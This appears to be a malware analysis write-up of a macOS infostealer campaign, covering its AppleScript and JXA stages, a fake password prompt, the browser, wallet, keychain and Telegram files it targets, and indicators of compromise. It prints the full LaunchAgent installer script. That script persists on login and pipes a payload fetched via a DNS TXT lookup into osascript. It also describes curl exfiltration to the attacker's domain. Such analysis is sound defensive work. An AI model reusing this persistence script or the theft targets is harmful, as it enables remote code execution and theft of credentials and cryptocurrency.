Malware Family Analysis • macOS

Digit Stealer: Dissecting an AppleScript & JXA Campaign Utilizing DNS TXT Dead-Drop Resolvers and Ledger Live Hijacking

Dissect a multi-stage macOS infostealer executing in-memory JXA payloads via DNS TXT dead drops to hijack desktop Ledger Live wallet configurations.

we have a lot of files for DigitStealer

OBJECTIVEC
d6e1fcf8a2fb0fdebb73c4c7df8839b9  1ststage.scpt
4de3af61eb219a20237660ca578e0d05  2stage.js
3d03e62388a294824182308f41484117  2stage_deob.js
dd4b7cbfd907894bae6d58cb17b60f72  3stage.js
183cdb0f45d4ac6e25345b850fcde788  4stage.js
7a7bcb8a314c12c84364b33b0fc59692  DynamicLake.dmg
e294df5d01290de54dec68168e241a63  installerScript
b518981543effbfc47f027ce69fb0306  launchAgentInstaller

1ststage.scpt

WE have .scpt which is a OSA script as a first stage.

OSA script is heavily used among stealers

1ststage.scpt
Figure: 1ststage.scpt Click to zoom ↗

1ststage.scpt

It will prompt a dialog for there password.

Screenshot 2026-08-23 at 4.07.27 PM.png
Figure: Screenshot 2026-08-23 at 4.07.27 PM.png Click to zoom ↗

getting things ready what they want.

Screenshot 2026-08-23 at 4.18.30 PM.png
Figure: Screenshot 2026-08-23 at 4.18.30 PM.png Click to zoom ↗

Ends up doing a bunch of files. uploading, GrabberEndpoint stuffs.

They zip everything up before sending.

Screenshot 2026-08-23 at 4.20.13 PM.png
Figure: Screenshot 2026-08-23 at 4.20.13 PM.png Click to zoom ↗

This script designed to captures the user's login credentials via a fake prompt, exfiltrates local files and personal notes, and fetches a secondary payload.

IOC’s

TypeIndicator
Domains / URLshttps://goldenticketsshop.com · https://67e5143a9ca7d2240c137ef80f2641d6.pages.dev/32f763b45cec3531f39b5365edf2c97e.aspx
Endpoints/api/credentials · /api/grabber
Local File Artifacts/tmp/wid.txt · ~/.<Hardware_UUID_MD5>.txt · /tmp/<UUID_MD5>.zip

2stagedeob.js

next up is the js file. we see the same domain, bunch of path being created that are gonna used as targets to gather information.

All of the related type chromium browsers

Screenshot 2026-08-23 at 4.26.59 PM.png
Figure: Screenshot 2026-08-23 at 4.26.59 PM.png Click to zoom ↗

Key Capabilities & Data Targets

▪Web Browsers (Chromium & Gecko-based):
▪Targeted Browsers: Google Chrome (Stable, Beta, Canary, Dev), Brave, Microsoft Edge, Vivaldi, Opera, Opera GX, Chromium, Arc, Cốc Cốc, Mozilla Firefox, Waterfox, and Pale Moon.
▪Harvested Browser Data: Cookies, Login Data (saved passwords), Web Data (autofill, credit cards), History, Bookmarks, and Firefox equivalents (key4.db, logins.json, places.sqlite, formhistory.sqlite).
▪Browser Extensions: Parses manifest.json and extension database files to identify and extract data from Local Extension Settings (frequently targeting browser-based cryptocurrency wallet extensions).

Cryptocurrency Wallets:

▪Targets desktop wallet directories and configuration files:
▪Electrum (~/.electrum/wallets, ~/.electrum-ltc/wallets)
▪Coinomi
▪Exodus
▪Atomic Wallet (Local Storage/leveldb)
▪Wasabi Wallet (~/.walletwasabi/client/Wallets)
▪Ledger Live
▪Monero (~/Monero/wallets)
▪Bitcoin Core (Bitcoin/wallets)
▪Litecoin Core
▪DashCore
▪Electron Cash
▪Guarda
▪Dogecoin Core
▪Trezor Suite (@trezor/suite-desktop)
▪Binance Desktop (app-store.json)
▪Tonkeeper (@tonkeeper/desktop/config.json)
▪VPN & Network Configurations:
▪OpenVPN Connect (Library/Application Support/OpenVPN Connect/profiles)
▪Tunnelblick (Library/Application Support/Tunnelblick/Configurations)
▪User-level OpenVPN configs (~/.openvpn)
▪Messaging Sessions:
▪Extracts Telegram Desktop session files (tdata), focusing on key_datas and authentication maps.
▪macOS Keychain:
▪Directly copies the user's primary login keychain file (~/Library/Keychains/login.keychain-db).
Screenshot 2026-08-23 at 4.35.56 PM.png
Figure: Screenshot 2026-08-23 at 4.35.56 PM.png Click to zoom ↗

Execution & Exfiltration Flow

1.Staging: Generates a random UUID, hashes it with MD5, and creates a staging directory at /tmp/<MD5_HASH>/.
2.Collection: Uses Objective-C file manager APIs (NSFileManager) and shell commands to copy targeted files into structured subdirectories.
3.Archiving: Compresses the harvested files into a ZIP archive (/tmp/<MD5_HASH>.zip) using zip -r -y --quiet, then deletes the uncompressed staging directory.
4.Fingerprinting & Exfiltration:
▪Captures the Hardware UUID via system_profiler and hashes it to generate a unique machine ID (hwid).
▪Reads the active username (USER) and campaign ID (/tmp/wid.txt).
▪Uploads the ZIP archive to [https://goldenticketsshop.com/api/log](https://goldenticketsshop.com/api/log) via an HTTP POST request using curl.

IOC’s

CategoryValue
C2 Domain / Endpointhttps://goldenticketsshop.com/api/log
Script TypemacOS JavaScript for Automation (JXA / osascript -l JavaScript)
File Artifacts/tmp/<MD5_HASH>/ · /tmp/<MD5_HASH>.zip · /tmp/wid.txt
Key APIs Used$.NSFileManager, $.NSJSONSerialization, $.getenv, $.NSString

3stage.js

This script is an obfuscated macOS JavaScript for Automation (JXA) payload designed to hijack and inject fake transaction data / configuration into a local Ledger Live desktop application.

Summary of Behavioral Flow

StageRoutineAction Performed
Stage 1a0_0x209dbaKills active Ledger Live processes (killall -9 "Ledger Live").
Stage 2delay(1)Pauses execution for 1 second to ensure complete process teardown and unlock file handles.
Stage 3a0_0x575253Generates victim identifier hwid via system_profiler Hardware UUID + MD5.
Stage 4a0_0x2efbf0Overwrites ~/Library/Application Support/Ledger Live/app.json with attacker wallet/parameter configurations.

launchAgentInstaller

This shell script is a persistence and execution mechanism that installs a user-level macOS LaunchAgent to establish long-term, dynamic Command-and-Control (C2) communications.

below is the code for lauchAgentInstaller script

C
DOMAIN="goldenticketsshop.com"

if launchctl list | grep -q "^${DOMAIN}$"; then
    exit 0
fi

cat << EOL > ~/Library/LaunchAgents/${DOMAIN}.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>${DOMAIN}</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>curl -s \$(dig +short TXT ${DOMAIN} @8.8.8.8 | tr -d '"') | osascript -l JavaScript</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>ThrottleInterval</key>
    <integer>120</integer>
</dict>
</plist>
EOL

launchctl load ~/Library/LaunchAgents/${DOMAIN}.plist
launchctl start ${DOMAIN}

Key Capabilities & Mechanics

▪Pre-Execution Check:
▪Checks if a LaunchAgent with label goldenticketsshop.com is already loaded via launchctl list. If present, it exits immediately to prevent duplicate jobs.
▪LaunchAgent Persistence:
▪Creates a persistent property list (plist) file in the user's persistence directory
TELEMETRY / DISASSEMBLY
        ~/Library/LaunchAgents/goldenticketsshop.com.plist
▪Configures RunAtLoad: true to trigger automatically whenever the user logs into macOS.
▪Configures KeepAlive: true and ThrottleInterval: 120 (seconds) to ensure macOS restarts the job if it crashes or finishes, checking for execution every 2 minutes.
▪Dead Drop Resolver / DNS-Based C2 Delivery:
▪Instead of contacting an HTTP endpoint directly to obtain secondary stages, it queries public Google DNS (8.8.8.8) for the DNS TXT record of goldenticketsshop.com
TELEMETRY / DISASSEMBLY
        dig +short TXT goldenticketsshop.com @8.8.8.8 | tr -d '"'
▪The DNS TXT record dynamically hosts or points to a URL containing the next payload. This technique bypasses traditional URL/domain reputation filters and allows the attacker to change the staging infrastructure simply by updating DNS records.
▪In-Memory JXA Payload Execution:
▪Downloads the payload returned by the DNS query using curl -s and pipes it directly into the Open Scripting Architecture interpreter as JavaScript for Automation
TELEMETRY / DISASSEMBLY
        ... | osascript -l JavaScript
▪Runs entirely in memory without creating a temporary script file on disk.
▪Immediate Job Registration:
▪Loads and starts the newly created agent using launchctl load and launchctl start.

Summary of Indicators & Artifacts

CategoryIndicator / Detail
Domaingoldenticketsshop.com
Persistence Path~/Library/LaunchAgents/goldenticketsshop.com.plist
Launchd Labelgoldenticketsshop.com
Technique (ATT&CK)T1543.001 (Launch Agent) · T1102.001 (Dead Drop Resolver / DNS TXT) · T1059.002 (AppleScript/JXA)
Copied